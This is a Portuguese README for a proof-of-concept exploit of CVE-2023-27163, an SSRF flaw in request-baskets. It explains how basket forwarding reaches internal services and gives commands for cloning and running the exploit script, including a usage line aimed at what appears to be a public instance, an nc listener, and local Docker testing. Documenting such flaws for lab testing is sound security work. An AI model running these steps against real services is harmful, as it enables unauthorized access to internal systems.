Prova de Conceito de SSRF no Request-Baskets (CVE-2023-27163)

Este repositório contém uma Prova de Conceito (PoC) para CVE-2023-27163, uma vulnerabilidade de Server-Side Request Forgery (SSRF) descoberta no request-baskets até a versão 1.2.1. Essa vulnerabilidade permite que atacantes acessem recursos de rede e informações sensíveis explorando o componente /api/baskets/{name} através de uma requisição de API manipulada.

Uso

git clone https://github.com/MasterCode112/CVE-2023-27163.git
bash ./CVE-2023-27163.sh https://rbaskets.in/ <IP do atacante>

Como funciona?

Request-baskets é uma aplicação web criada para coletar e registrar requisições em uma rota específica, chamada basket. Ao criá-la, o usuário pode especificar outro servidor para encaminhar a requisição. O problema aqui é que o usuário pode especificar serviços não intencionados, como aplicações fechadas à rede.

Por exemplo: suponha que o servidor hospede o Request-baskets (porta 55555) e um servidor web Flask na porta 8000. O Flask também está configurado para interagir apenas com localhost. Ao criar uma basket que encaminha para http://localhost:8000, o atacante pode acessar o servidor web Flask anteriormente restrito.

Testando no localhost

1. Inicie o contêiner Docker do Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1

2. Baixe a PoC

git clone https://github.com/MasterCode112/CVE-2023-27163.git

3. Aguarde uma conexão

nc -lvp 8000

4. Salve o endereço IP do host Docker

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. Execute a PoC

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/